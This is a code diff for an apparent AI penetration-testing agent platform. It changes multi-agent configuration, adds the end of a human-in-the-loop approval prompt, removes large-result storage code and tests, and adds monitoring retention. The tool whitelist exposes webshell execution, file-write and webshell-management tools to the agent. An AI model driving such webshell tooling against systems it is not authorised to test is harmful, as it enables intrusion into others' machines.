+    - 参数略显宽泛但无明确破坏意图（应收窄参数后 approve）
+    - 仅因「信息不足」——若无上述高危迹象，应 approve 并可在 comment 中提示注意点
+
+    仅输出一行 JSON，不要 markdown 代码块：
+    {"decision":"approve"|"reject","comment":"简要理由","editedArguments":{...}}
+
+    editedArguments 规则（仅 approve 且需要改参时填写，否则省略该字段）：
+    - 提供完整替换后的工具参数对象，键名与 argumentsObj 一致
+    - 只做最小必要修改以收窄范围、消除风险（如限制 path、去掉危险 flag）
+    - 禁止扩大攻击面：不得扩大目标范围、提升权限或引入破坏性参数
+    - 无法安全改参且存在上述高危情形时应 reject，不要勉强 approve
 # 多代理与 Eino 单代理（CloudWeGo Eino ADK；单代理入口 /api/eino-agent*，多代理 /api/multi-agent*）
 # 依赖在 go.mod 中拉取；若下载失败可设置: go env -w GOPROXY=https://goproxy.cn,direct
 # Deep / Plan-Execute / Supervisor 由对话页与 WebShell 所选模式在请求体 orchestration 中指定；机器人按 robot_default_agent_mode
@@ -111,7 +174,8 @@ multi_agent:
   batch_use_multi_agent: false # true 时「批量任务」队列中每个子任务也走 Eino 多代理（成本更高）
   # plan_execute 专用：execute↔replan 外层循环上限，0 表示 Eino 默认 10。主/子代理 ReAct 轮次见 agent.max_iterations。
   plan_execute_loop_max_iterations: 0
-  sub_agent_user_context_max_runes: 0 # 子代理 task 描述中自动注入用户原始请求的字符上限；0=默认2000，负数=禁用
+  sub_agent_user_context_max_runes: 0 # 子代理 task 描述中注入用户原文；0=不截断（默认），>0=总字符上限，负数=禁用
+  user_verbatim_anchor_max_runes: 0 # 主代理 system 中逐轮保留用户原文（压缩后刷新）；0=不截断（默认），>0=总字符上限，负数=禁用
   without_general_sub_agent: false # false 时保留 Deep 内置 general-purpose 子代理
   without_write_todos: false
   orchestrator_instruction: "" # Deep 主代理：agents/orchestrator.md（或 kind: orchestrator 的单个 .md）正文优先；正文为空时用此处；皆空则 Eino 默认
@@ -128,9 +192,9 @@ multi_agent:
     tool_search_enable: true # true：工具数 ≥ min 时启用 tool_search，仅前 N 个工具常驻，其余按正则按需解锁，省 token、减误选；false：全量工具进上下文
     tool_search_min_tools: 20 # 达到该数量才启用 tool_search（避免工具很少时多此一举）；与 always_visible 配合使用
     tool_search_always_visible: 12 # 始终直接暴露给模型的工具个数（顺序与角色工具列表一致）；其余工具进入动态池，需 tool_search 解锁
-    tool_search_always_visible_tools: [read_file, glob, grep, analyze_image, write_file, edit_file, execute, task, transfer_to_agent, exit, write_todos, skill, tool_search, TaskCreate, TaskGet, TaskUpdate, TaskList, record_vulnerability, list_vulnerabilities, get_vulnerability, list_knowledge_risk_types, search_knowledge_base, webshell_exec, webshell_file_list, webshell_file_read, webshell_file_write, manage_webshell_list, manage_webshell_add, manage_webshell_update, manage_webshell_delete, manage_webshell_test, batch_task_list, batch_task_get, batch_task_start, batch_task_rerun, batch_task_pause, batch_task_update_metadata, batch_task_update_schedule, batch_task_schedule_enabled, batch_task_update_task, batch_task_remove_task, batch_task_delete, batch_task_create, batch_task_add_task, http-framework-test] # 后端内置常驻工具白名单（优先于 always_visible 数量策略）
-    plantask_enable: false # true：主代理（Deep / Supervisor 主）挂载 TaskCreate/Get/Update/List；需 eino_skills 可用且 skills_dir 存在，否则仅打日志并跳过
-    plantask_rel_dir: .eino/plantask # 结构化任务文件相对 skills_dir 的子目录，其下再按会话 ID 分子目录存放
+    tool_search_always_visible_tools: [read_file, glob, grep, analyze_image, write_file, edit_file, execute, task, transfer_to_agent, exit, write_todos, skill, tool_search, TaskCreate, TaskGet, TaskUpdate, TaskList, record_vulnerability, list_vulnerabilities, get_vulnerability, list_knowledge_risk_types, search_knowledge_base, webshell_exec, webshell_file_list, webshell_file_read, webshell_file_write, manage_webshell_list, manage_webshell_add, manage_webshell_update, manage_webshell_delete, manage_webshell_test, batch_task_list, batch_task_get, batch_task_start, batch_task_rerun, batch_task_pause, batch_task_update_metadata, batch_task_update_schedule, batch_task_schedule_enabled, batch_task_update_task, batch_task_remove_task, batch_task_delete, batch_task_create, batch_task_add_task, http-framework-test, exec] # 后端内置常驻工具白名单（优先于 always_visible 数量策略）
+    plantask_enable: true # P0：主代理挂载 TaskCreate/Get/Update/List 结构化任务板；需 eino_skills 可用且 skills_dir 存在
+    plantask_rel_dir: .eino/plantask # 任务文件相对 skills_dir，按会话分子目录：skills/.eino/plantask/<conversationId>/
     reduction_enable: true # true：大工具输出截断/落盘以控上下文；依赖与 plantask 相同的 eino local 写盘后端，无后端时不挂载
     reduction_max_length_for_trunc: 50000 # 单条工具结果超过该字符数（bytes）时截断并落盘（由 reduction 中间件处理）
     reduction_max_tokens_for_clear: 160000 # 历史工具结果清理阈值（tokens），超阈值时在模型调用前清理旧结果
@@ -143,11 +207,12 @@ multi_agent:
     plan_execute_executed_steps_budget_ratio: 0.2 # plan_execute 中 executed_steps 预算比例
     plan_execute_max_step_result_runes: 4000 # plan_execute 每步结果最大字符数（超出截断）
     plan_execute_keep_last_steps: 8 # plan_execute 仅保留最近 N 步正文，早期步骤折叠为标题
-    checkpoint_dir: "" # 非空：为 adk.NewRunner 启用按会话子目录的文件型 CheckPointStore，便于中断恢复持久化；Resume 的 HTTP/前端流程需另行对接
-    run_retry_max_attempts: 0 # >0：429/5xx/网络抖动时 ADK 运行循环指数退避续跑次数；0=默认 10
+    checkpoint_dir: data/eino-checkpoints # P0：进程崩溃/OOM 后同会话自动 ADK Resume；正常结束会删 .ckpt；与「中断并继续」(last_react_*) 是两套机制
+    run_retry_max_attempts: 0 # 429/5xx/网络抖动时可退避重试次数（run loop + summarization 共用 isEinoTransientRunError）；0=默认 10
     run_retry_max_backoff_sec: 0 # 单次退避上限秒数；0=默认 30
-    deep_output_key: "" # 非空：将最终助手输出写入 adk session 的键名（Deep 与 Supervisor 主代理）；空表示不写入
-    deep_model_retry_max_retries: 0 # >0：ChatModel 调用失败时的框架级最大重试次数（Deep 与 Supervisor 主）；0：不重试
+    empty_response_continue_max_attempts: 0 # Run 成功但未捕获助手正文（含流式中断）时 Handler 退避续跑次数；0=默认 5
+    deep_output_key: final_answer # P0：Eino session 写入最终助手结论（框架内部；Deep/Supervisor 主/eino_single）
+    deep_model_retry_max_retries: 0 # 已废弃，请用 run_retry_max_attempts；保留字段仅为兼容旧配置
     task_tool_description_prefix: "" # 非空：仅 Deep 的 task 工具使用自定义描述前缀，运行时会拼接子代理名称；空则走 Eino 默认生成逻辑
   # Eino callbacks + OpenTelemetry：框架级 span（与 Zap 对齐）；默认不向终端用户 UI 推 eino_trace_*（见 sse_trace_to_client）
   eino_callbacks:
@@ -310,7 +375,9 @@ roles_dir: roles # 角色配置文件目录（相对于配置文件所在目录
 project:
   enabled: true
   # default_project_id: "" # 可选：机器人/批量任务创建对话时的默认项目 ID
-  fact_index_max_runes: 6500
-  fact_summary_max_runes: 2400
+  fact_index_max_runes: 65000
+  # 事实关系速览段预算（从索引总预算中预留）
+  fact_index_path_max_runes: 10000 
+  fact_summary_max_runes: 24000
   default_inject_deprecated: false
-  
+

internal/agent/agent.go

@@ -18,7 +18,6 @@ import (
 	"cyberstrike-ai/internal/mcp"
 	"cyberstrike-ai/internal/mcp/builtin"
 	"cyberstrike-ai/internal/openai"
-	"cyberstrike-ai/internal/storage"
 
 	"go.uber.org/zap"
 )
@@ -32,8 +31,6 @@ type Agent struct {
 	externalMCPMgr        *mcp.ExternalMCPManager // 外部MCP管理器
 	logger                *zap.Logger
 	maxIterations         int
-	resultStorage         ResultStorage     // 结果存储
-	largeResultThreshold  int               // 大结果阈值（字节）
 	mu                    sync.RWMutex      // 添加互斥锁以支持并发更新
 	toolNameMapping       map[string]string // 工具名称映射：OpenAI格式 -> 原始格式（用于外部MCP工具）
 	currentConversationID string            // 当前对话ID（用于自动传递给工具）
@@ -41,18 +38,6 @@ type Agent struct {
 	toolDescriptionMode   string            // 工具描述模式: "short" | "full"，默认 short
 }
 
-// ResultStorage 结果存储接口（直接使用 storage 包的类型）
-type ResultStorage interface {
-	SaveResult(executionID string, toolName string, result string) error
-	GetResult(executionID string) (string, error)
-	GetResultPage(executionID string, page int, limit int) (*storage.ResultPage, error)
-	SearchResult(executionID string, keyword string, useRegex bool) ([]string, error)
-	FilterResult(executionID string, filter string, useRegex bool) ([]string, error)
-	GetResultMetadata(executionID string) (*storage.ResultMetadata, error)
-	GetResultPath(executionID string) string
-	DeleteResult(executionID string) error
-}
-
 type agentConversationIDKey struct{}
 
 func withAgentConversationID(ctx context.Context, id string) context.Context {
@@ -83,26 +68,6 @@ func NewAgent(cfg *config.OpenAIConfig, agentCfg *config.AgentConfig, mcpServer
 		maxIterations = 30
 	}
 
-	// 设置大结果阈值，默认50KB
-	largeResultThreshold := 50 * 1024
-	if agentCfg != nil && agentCfg.LargeResultThreshold > 0 {
-		largeResultThreshold = agentCfg.LargeResultThreshold
-	}
-
-	// 设置结果存储目录，默认tmp
-	resultStorageDir := "tmp"
-	if agentCfg != nil && agentCfg.ResultStorageDir != "" {
-		resultStorageDir = agentCfg.ResultStorageDir
-	}
-
-	// 初始化结果存储
-	var resultStorage ResultStorage
-	if resultStorageDir != "" {
-		// 导入storage包（避免循环依赖，使用接口）
-		// 这里需要在实际使用时初始化
-		// 暂时设为nil，在需要时初始化
-	}
-
 	// 配置HTTP Transport，优化连接管理和超时设置
 	transport := &http.Transport{
 		DialContext: (&net.Dialer{
@@ -133,20 +98,11 @@ func NewAgent(cfg *config.OpenAIConfig, agentCfg *config.AgentConfig, mcpServer
 		externalMCPMgr:       externalMCPMgr,
 		logger:               logger,
 		maxIterations:        maxIterations,
-		resultStorage:        resultStorage,
-		largeResultThreshold: largeResultThreshold,
 		toolNameMapping:      make(map[string]string), // 初始化工具名称映射
 		toolDescriptionMode:  "short",
 	}
 }
 
-// SetResultStorage 设置结果存储（用于避免循环依赖）
-func (a *Agent) SetResultStorage(storage ResultStorage) {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	a.resultStorage = storage
-}
-
 // SetPromptBaseDir 设置单代理 system_prompt_path 相对路径的基准目录（一般为 config.yaml 所在目录）。
 func (a *Agent) SetPromptBaseDir(dir string) {
 	a.mu.Lock()
@@ -663,46 +619,6 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
 	}
 
 	resultStr := resultText.String()
-	resultSize := len(resultStr)
-
-	// 检测大结果并保存
-	a.mu.RLock()
-	threshold := a.largeResultThreshold
-	storage := a.resultStorage
-	a.mu.RUnlock()
-
-	if resultSize > threshold && storage != nil {
-		// 异步保存大结果
-		go func() {
-			if err := storage.SaveResult(executionID, toolName, resultStr); err != nil {
-				a.logger.Warn("保存大结果失败",
-					zap.String("executionID", executionID),
-					zap.String("toolName", toolName),
-					zap.Error(err),
-				)
-			} else {
-				a.logger.Info("大结果已保存",
-					zap.String("executionID", executionID),
-					zap.String("toolName", toolName),
-					zap.Int("size", resultSize),
-				)
-			}
-		}()
-
-		// 返回最小化通知
-		lines := strings.Split(resultStr, "\n")
-		filePath := ""
-		if storage != nil {
-			filePath = storage.GetResultPath(executionID)
-		}
-		notification := a.formatMinimalNotification(executionID, toolName, resultSize, len(lines), filePath)
-
-		return &ToolExecutionResult{
-			Result:      notification,
-			ExecutionID: executionID,
-			IsError:     result != nil && result.IsError,
-		}, nil
-	}
 
 	return &ToolExecutionResult{
 		Result:      resultStr,
@@ -711,57 +627,6 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
 	}, nil
 }
 
-// formatMinimalNotification 格式化最小化通知
-func (a *Agent) formatMinimalNotification(executionID string, toolName string, size int, lineCount int, filePath string) string {
-	var sb strings.Builder
-
-	sb.WriteString(fmt.Sprintf("工具执行完成。结果已保存（ID: %s）。\n\n", executionID))
-	sb.WriteString("结果信息：\n")
-	sb.WriteString(fmt.Sprintf("  - 工具: %s\n", toolName))
-	sb.WriteString(fmt.Sprintf("  - 大小: %d 字节 (%.2f KB)\n", size, float64(size)/1024))
-	sb.WriteString(fmt.Sprintf("  - 行数: %d 行\n", lineCount))
-	if filePath != "" {
-		sb.WriteString(fmt.Sprintf("  - 文件路径: %s\n", filePath))
-	}
-	sb.WriteString("\n")
-	sb.WriteString("推荐使用 query_execution_result 工具查询完整结果：\n")
-	sb.WriteString(fmt.Sprintf("  - 查询第一页: query_execution_result(execution_id=\"%s\", page=1, limit=100)\n", executionID))
-	sb.WriteString(fmt.Sprintf("  - 搜索关键词: query_execution_result(execution_id=\"%s\", search=\"关键词\")\n", executionID))
-	sb.WriteString(fmt.Sprintf("  - 过滤条件: query_execution_result(execution_id=\"%s\", filter=\"error\")\n", executionID))
-	sb.WriteString(fmt.Sprintf("  - 正则匹配: query_execution_result(execution_id=\"%s\", search=\"\\\\d+\\\\.\\\\d+\\\\.\\\\d+\\\\.\\\\d+\", use_regex=true)\n", executionID))
-	sb.WriteString("\n")
-	if filePath != "" {
-		sb.WriteString("如果 query_execution_result 工具不满足需求，也可以使用其他工具处理文件：\n")
-		sb.WriteString("\n")
-		sb.WriteString("**分段读取示例：**\n")
-		sb.WriteString(fmt.Sprintf("  - 查看前100行: exec(command=\"head\", args=[\"-n\", \"100\", \"%s\"])\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 查看后100行: exec(command=\"tail\", args=[\"-n\", \"100\", \"%s\"])\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 查看第50-150行: exec(command=\"sed\", args=[\"-n\", \"50,150p\", \"%s\"])\n", filePath))
-		sb.WriteString("\n")
-		sb.WriteString("**搜索和正则匹配示例：**\n")
-		sb.WriteString(fmt.Sprintf("  - 搜索关键词: exec(command=\"grep\", args=[\"关键词\", \"%s\"])\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 正则匹配IP地址: exec(command=\"grep\", args=[\"-E\", \"\\\\d+\\\\.\\\\d+\\\\.\\\\d+\\\\.\\\\d+\", \"%s\"])\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 不区分大小写搜索: exec(command=\"grep\", args=[\"-i\", \"关键词\", \"%s\"])\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 显示匹配行号: exec(command=\"grep\", args=[\"-n\", \"关键词\", \"%s\"])\n", filePath))
-		sb.WriteString("\n")
-		sb.WriteString("**过滤和统计示例：**\n")
-		sb.WriteString(fmt.Sprintf("  - 统计总行数: exec(command=\"wc\", args=[\"-l\", \"%s\"])\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 过滤包含error的行: exec(command=\"grep\", args=[\"error\", \"%s\"])\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 排除空行: exec(command=\"grep\", args=[\"-v\", \"^$\", \"%s\"])\n", filePath))
-		sb.WriteString("\n")
-		sb.WriteString("**完整读取（不推荐大文件）：**\n")
-		sb.WriteString(fmt.Sprintf("  - 使用 cat 工具: cat(file=\"%s\")\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 使用 exec 工具: exec(command=\"cat\", args=[\"%s\"])\n", filePath))
-		sb.WriteString("\n")
-		sb.WriteString("**注意：**\n")
-		sb.WriteString("  - 直接读取大文件可能会再次触发大结果保存机制\n")
-		sb.WriteString("  - 建议优先使用分段读取和搜索功能，避免一次性加载整个文件\n")
-		sb.WriteString("  - 正则表达式语法遵循标准 POSIX 正则表达式规范\n")
-	}
-
-	return sb.String()
-}
-
 // UpdateConfig 更新OpenAI配置
 func (a *Agent) UpdateConfig(cfg *config.OpenAIConfig) {
 	a.mu.Lock()
@@ -914,13 +779,43 @@ func (a *Agent) ExecuteMCPToolForConversation(ctx context.Context, conversationI
 	return a.executeToolViaMCP(ctx, toolName, args)
 }
 
-// RecordLocalToolExecution 将非 CallTool 路径完成的工具调用写入 MCP 监控库（与 CallTool 落库一致），返回 executionId。
-// 用于 Eino filesystem execute 等场景，使助手气泡「渗透测试详情」与常规 MCP 一致可点进监控。
-func (a *Agent) RecordLocalToolExecution(toolName string, args map[string]interface{}, resultText string, invokeErr error) string {
+// BeginLocalToolExecution 在非 CallTool 路径工具开始时写入 running 状态，供 MCP 监控页展示「执行中」。
+func (a *Agent) BeginLocalToolExecution(toolName string, args map[string]interface{}) string {
 	if a == nil || a.mcpServer == nil {
 		return ""
 	}
-	return a.mcpServer.RecordCompletedToolInvocation(toolName, args, resultText, invokeErr)
+	return a.mcpServer.BeginToolExecution(toolName, args)
+}
+
+// FinishLocalToolExecution 完成 BeginLocalToolExecution 创建的记录；executionID 为空时一次性写入已完成记录。
+func (a *Agent) FinishLocalToolExecution(executionID, toolName string, args map[string]interface{}, resultText string, invokeErr error) string {
+	if a == nil || a.mcpServer == nil {
+		return ""
+	}
+	return a.mcpServer.FinishToolExecution(executionID, toolName, args, resultText, invokeErr)
+}
+
+// RecordLocalToolExecution 将非 CallTool 路径完成的工具调用写入 MCP 监控库（与 CallTool 落库一致），返回 executionId。
+// 用于 Eino filesystem execute 等场景，使助手气泡「渗透测试详情」与常规 MCP 一致可点进监控。
+func (a *Agent) RecordLocalToolExecution(toolName string, args map[string]interface{}, resultText string, invokeErr error) string {
+	return a.FinishLocalToolExecution("", toolName, args, resultText, invokeErr)
+}
+
+// UpdateMCPExecutionDisplayResult 将监控库中的工具结果更新为送入模型的展示正文（reduction 后）。
+func (a *Agent) UpdateMCPExecutionDisplayResult(executionID, resultText string) {
+	if a == nil || strings.TrimSpace(executionID) == "" {
+		return
+	}
+	text := resultText
+	if strings.TrimSpace(text) == "" {
+		text = "（无输出）"
+	}
+	tr := &mcp.ToolResult{
+		Content: []mcp.Content{{Type: "text", Text: text}},
+	}
+	if a.mcpServer != nil {
+		_ = a.mcpServer.UpdateToolExecutionResult(executionID, tr)
+	}
 }
 
 // CancelMCPToolExecutionWithNote 取消一次进行中的 MCP 工具（先内部后外部），与监控页「终止工具」一致；note 非空时合并进返回给模型的文本。

internal/agent/agent_test.go

@@ -1,21 +1,16 @@
 package agent
 
 import (
-	"os"
-	"path/filepath"
-	"strings"
 	"testing"
-	"time"
 
 	"cyberstrike-ai/internal/config"
 	"cyberstrike-ai/internal/mcp"
-	"cyberstrike-ai/internal/storage"
 
 	"go.uber.org/zap"
 )
 
 // setupTestAgent 创建测试用的Agent
-func setupTestAgent(t *testing.T) (*Agent, *storage.FileResultStorage) {
+func setupTestAgent(t *testing.T) *Agent {
 	logger := zap.NewNop()
 	mcpServer := mcp.NewServer(logger)
 
@@ -26,205 +21,10 @@ func setupTestAgent(t *testing.T) (*Agent, *storage.FileResultStorage) {
 	}
 
 	agentCfg := &config.AgentConfig{
-		MaxIterations:        10,
-		LargeResultThreshold: 100, // 设置较小的阈值便于测试
-		ResultStorageDir:     "",
+		MaxIterations: 10,
 	}
 
-	agent := NewAgent(openAICfg, agentCfg, mcpServer, nil, logger, 10)
-
-	// 创建测试存储
-	tmpDir := filepath.Join(os.TempDir(), "test_agent_storage_"+time.Now().Format("20060102_150405"))
-	testStorage, err := storage.NewFileResultStorage(tmpDir, logger)
-	if err != nil {
-		t.Fatalf("创建测试存储失败: %v", err)
-	}
-
-	agent.SetResultStorage(testStorage)
-
-	return agent, testStorage
-}
-
-func TestAgent_FormatMinimalNotification(t *testing.T) {
-	agent, testStorage := setupTestAgent(t)
-	_ = testStorage // 避免未使用变量警告
-
-	executionID := "test_exec_001"
-	toolName := "nmap_scan"
-	size := 50000
-	lineCount := 1000
-	filePath := "tmp/test_exec_001.txt"
-
-	notification := agent.formatMinimalNotification(executionID, toolName, size, lineCount, filePath)
-
-	// 验证通知包含必要信息
-	if !strings.Contains(notification, executionID) {
-		t.Errorf("通知中应该包含执行ID: %s", executionID)
-	}
-
-	if !strings.Contains(notification, toolName) {
-		t.Errorf("通知中应该包含工具名称: %s", toolName)
-	}
-
-	if !strings.Contains(notification, "50000") {
-		t.Errorf("通知中应该包含大小信息")
-	}
-
-	if !strings.Contains(notification, "1000") {
-		t.Errorf("通知中应该包含行数信息")
-	}
-
-	if !strings.Contains(notification, "query_execution_result") {
-		t.Errorf("通知中应该包含查询工具的使用说明")
-	}
-}
-
-func TestAgent_ExecuteToolViaMCP_LargeResult(t *testing.T) {
-	agent, _ := setupTestAgent(t)
-
-	// 创建模拟的MCP工具结果（大结果）
-	largeResult := &mcp.ToolResult{
-		Content: []mcp.Content{
-			{
-				Type: "text",
-				Text: strings.Repeat("This is a test line with some content.\n", 1000), // 约50KB
-			},
-		},
-		IsError: false,
-	}
-
-	// 模拟MCP服务器返回大结果
-	// 由于我们需要模拟CallTool的行为，这里需要创建一个mock或者使用实际的MCP服务器
-	// 为了简化测试，我们直接测试结果处理逻辑
-
-	// 设置阈值
-	agent.mu.Lock()
-	agent.largeResultThreshold = 1000 // 设置较小的阈值
-	agent.mu.Unlock()
-
-	// 创建执行ID
-	executionID := "test_exec_large_001"
-	toolName := "test_tool"
-
-	// 格式化结果
-	var resultText strings.Builder
-	for _, content := range largeResult.Content {
-		resultText.WriteString(content.Text)
-		resultText.WriteString("\n")
-	}
-
-	resultStr := resultText.String()
-	resultSize := len(resultStr)
-
-	// 检测大结果并保存
-	agent.mu.RLock()
-	threshold := agent.largeResultThreshold
-	storage := agent.resultStorage
-	agent.mu.RUnlock()
-
-	if resultSize > threshold && storage != nil {
-		// 保存大结果
-		err := storage.SaveResult(executionID, toolName, resultStr)
-		if err != nil {
-			t.Fatalf("保存大结果失败: %v", err)
-		}
-
-		// 生成通知
-		lines := strings.Split(resultStr, "\n")
-		filePath := storage.GetResultPath(executionID)
-		notification := agent.formatMinimalNotification(executionID, toolName, resultSize, len(lines), filePath)
-
-		// 验证通知格式
-		if !strings.Contains(notification, executionID) {
-			t.Errorf("通知中应该包含执行ID")
-		}
-
-		// 验证结果已保存
-		savedResult, err := storage.GetResult(executionID)
-		if err != nil {
-			t.Fatalf("获取保存的结果失败: %v", err)
-		}
-
-		if savedResult != resultStr {
-			t.Errorf("保存的结果与原始结果不匹配")
-		}
-	} else {
-		t.Fatal("大结果应该被检测到并保存")
-	}
-}
-
-func TestAgent_ExecuteToolViaMCP_SmallResult(t *testing.T) {
-	agent, _ := setupTestAgent(t)
-
-	// 创建小结果
-	smallResult := &mcp.ToolResult{
-		Content: []mcp.Content{
-			{
-				Type: "text",
-				Text: "Small result content",
-			},
-		},
-		IsError: false,
-	}
-
-	// 设置较大的阈值
-	agent.mu.Lock()
-	agent.largeResultThreshold = 100000 // 100KB
-	agent.mu.Unlock()
-
-	// 格式化结果
-	var resultText strings.Builder
-	for _, content := range smallResult.Content {
-		resultText.WriteString(content.Text)
-		resultText.WriteString("\n")
-	}
-
-	resultStr := resultText.String()
-	resultSize := len(resultStr)
-
-	// 检测大结果
-	agent.mu.RLock()
-	threshold := agent.largeResultThreshold
-	storage := agent.resultStorage
-	agent.mu.RUnlock()
-
-	if resultSize > threshold && storage != nil {
-		t.Fatal("小结果不应该被保存")
-	}
-
-	// 小结果应该直接返回
-	if resultSize <= threshold {
-		// 这是预期的行为
-		if resultStr == "" {
-			t.Fatal("小结果应该直接返回，不应该为空")
-		}
-	}
-}
-
-func TestAgent_SetResultStorage(t *testing.T) {
-	agent, _ := setupTestAgent(t)
-
-	// 创建新的存储
-	tmpDir := filepath.Join(os.TempDir(), "test_new_storage_"+time.Now().Format("20060102_150405"))
-	newStorage, err := storage.NewFileResultStorage(tmpDir, zap.NewNop())
-	if err != nil {
-		t.Fatalf("创建新存储失败: %v", err)
-	}
-
-	// 设置新存储
-	agent.SetResultStorage(newStorage)
-
-	// 验证存储已更新
-	agent.mu.RLock()
-	currentStorage := agent.resultStorage
-	agent.mu.RUnlock()
-
-	if currentStorage != newStorage {
-		t.Fatal("存储未正确更新")
-	}
-
-	// 清理
-	os.RemoveAll(tmpDir)
+	return NewAgent(openAICfg, agentCfg, mcpServer, nil, logger, 10)
 }
 
 func TestAgent_NewAgent_DefaultValues(t *testing.T) {
@@ -243,14 +43,6 @@ func TestAgent_NewAgent_DefaultValues(t *testing.T) {
 	if agent.maxIterations != 30 {
 		t.Errorf("默认迭代次数不匹配。期望: 30, 实际: %d", agent.maxIterations)
 	}
-
-	agent.mu.RLock()
-	threshold := agent.largeResultThreshold
-	agent.mu.RUnlock()
-
-	if threshold != 50*1024 {
-		t.Errorf("默认阈值不匹配。期望: %d, 实际: %d", 50*1024, threshold)
-	}
 }
 
 func TestAgent_NewAgent_CustomConfig(t *testing.T) {
@@ -264,9 +56,7 @@ func TestAgent_NewAgent_CustomConfig(t *testing.T) {
 	}
 
 	agentCfg := &config.AgentConfig{
-		MaxIterations:        20,
-		LargeResultThreshold: 100 * 1024, // 100KB
-		ResultStorageDir:     "custom_tmp",
+		MaxIterations: 20,
 	}
 
 	agent := NewAgent(openAICfg, agentCfg, mcpServer, nil, logger, 15)
@@ -274,12 +64,4 @@ func TestAgent_NewAgent_CustomConfig(t *testing.T) {
 	if agent.maxIterations != 15 {
 		t.Errorf("迭代次数不匹配。期望: 15, 实际: %d", agent.maxIterations)
 	}
-
-	agent.mu.RLock()
-	threshold := agent.largeResultThreshold
-	agent.mu.RUnlock()
-
-	if threshold != 100*1024 {
-		t.Errorf("阈值不匹配。期望: %d, 实际: %d", 100*1024, threshold)
-	}
 }

internal/agent/default_single_system_prompt.go

@@ -1,7 +1,7 @@
 package agent
 
 import (
-	"cyberstrike-ai/internal/project"
+	"cyberstrike-ai/internal/projectprompt"
 )
 
 // DefaultSingleAgentSystemPrompt 单代理（Eino ADK / MCP）内置系统提示；可通过 agent.system_prompt_path 覆盖为文件。
@@ -107,11 +107,13 @@ func DefaultSingleAgentSystemPrompt() string {
 - 若最近一步得到 404/空结果/无效响应，不得直接结束；至少再进行一次“同目标不同策略”的验证（如变更路径、参数、请求方法、上下文来源）。
 - 避免无效空转：同一工具+同类参数连续失败 3 次后，必须切换策略（改工具、改入口、改假设）并说明切换原因。
 
-` + project.FactRecordingBlackboardSection(false) + `
+` + projectprompt.FactRecordingBlackboardSection(false) + `
 
 ## 技能库（Skills）与知识库
 
 - 技能包位于服务器 skills/ 目录（各子目录 SKILL.md，遵循 agentskills.io）；知识库用于向量检索片段，Skills 为可执行工作流指令。
 - 本会话通过 MCP 使用知识库与漏洞记录等。Skills 由 Eino ADK skill 工具按需加载（配置 multi_agent.eino_skills；单代理与多代理均可，未启用时无 skill 工具）。
-- 需要完整 Skill 工作流但当前无 skill 工具时，请确认已启用 multi_agent.eino_skills，或改用 Deep / Supervisor 等多代理编排（/api/multi-agent/stream）。`
+- 需要完整 Skill 工作流但当前无 skill 工具时，请确认已启用 multi_agent.eino_skills，或改用 Deep / Supervisor 等多代理编排（/api/multi-agent/stream）。
+
+` + projectprompt.ShellExecExecuteGuidanceSection()
 }

internal/app/app.go

@@ -21,14 +21,16 @@ import (
 	"cyberstrike-ai/internal/database"
 	"cyberstrike-ai/internal/einoobserve"
 	"cyberstrike-ai/internal/handler"
+	"cyberstrike-ai/internal/hitl"
 	"cyberstrike-ai/internal/knowledge"
 	"cyberstrike-ai/internal/logger"
 	"cyberstrike-ai/internal/mcp"
 	"cyberstrike-ai/internal/mcp/builtin"
+	"cyberstrike-ai/internal/monitor"
+	"cyberstrike-ai/internal/multiagent"
 	"cyberstrike-ai/internal/robot"
 	"cyberstrike-ai/internal/security"
 	"cyberstrike-ai/internal/skillpackage"
-	"cyberstrike-ai/internal/storage"
 
 	"github.com/gin-gonic/gin"
 	"github.com/google/uuid"
@@ -67,6 +69,10 @@ type App struct {
 
 // New 创建新应用
 func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error) {
+	if err := multiagent.InitADK(); err != nil {
+		return nil, fmt.Errorf("初始化 Eino ADK: %w", err)
+	}
+
 	gin.SetMode(gin.ReleaseMode)
 	router := gin.Default()
 
@@ -100,12 +106,21 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
 	auditSvc.PurgeExpired()
 	audit.StartRetentionLoop(auditSvc, log.Logger)
 
+	monitorRetention := monitor.NewService(db, cfg, log.Logger)
+	monitorRetention.PurgeExpired()
+	monitor.StartRetentionLoop(monitorRetention, log.Logger)
+
+	hitlRetention := hitl.NewService(db, cfg, log.Logger)
+	hitlRetention.PurgeExpired()
+	hitl.StartRetentionLoop(hitlRetention, log.Logger)
+
 	// 创建MCP服务器（带数据库持久化）
 	mcpServer := mcp.NewServerWithStorage(log.Logger, db)
 	mcpServer.ConfigureHTTPToolCallTimeoutFromAgentMinutes(cfg.Agent.ToolTimeoutMinutes)
 
 	// 创建安全工具执行器
 	executor := security.NewExecutor(&cfg.Security, mcpServer, log.Logger)
+	executor.SetShellNoOutputTimeoutSeconds(cfg.Agent.ShellNoOutputTimeoutSeconds)
 
 	// 注册工具
 	executor.RegisterTools(mcpServer)
@@ -130,22 +145,9 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
 		externalMCPMgr.StartAllEnabled()
 	}
 
-	// 初始化结果存储
-	resultStorageDir := "tmp"
-	if cfg.Agent.ResultStorageDir != "" {
-		resultStorageDir = cfg.Agent.ResultStorageDir
-	}
-
-	// 确保存储目录存在
-	if err := os.MkdirAll(resultStorageDir, 0755); err != nil {
-		return nil, fmt.Errorf("创建结果存储目录失败: %w", err)
-	}
-
-	// 创建结果存储实例
-	resultStorage, err := storage.NewFileResultStorage(resultStorageDir, log.Logger)
-	if err != nil {
-		return nil, fmt.Errorf("初始化结果存储失败: %w", err)
-	}
+	execReconciler := monitor.NewExecutionReconciler(db, mcpServer, externalMCPMgr, log.Logger)
+	execReconciler.ReconcileOnStartup()
+	monitor.StartStaleRunningReconcileLoop(execReconciler, log.Logger)
 
 	// 创建Agent
 	maxIterations := cfg.Agent.MaxIterations
@@ -155,12 +157,6 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
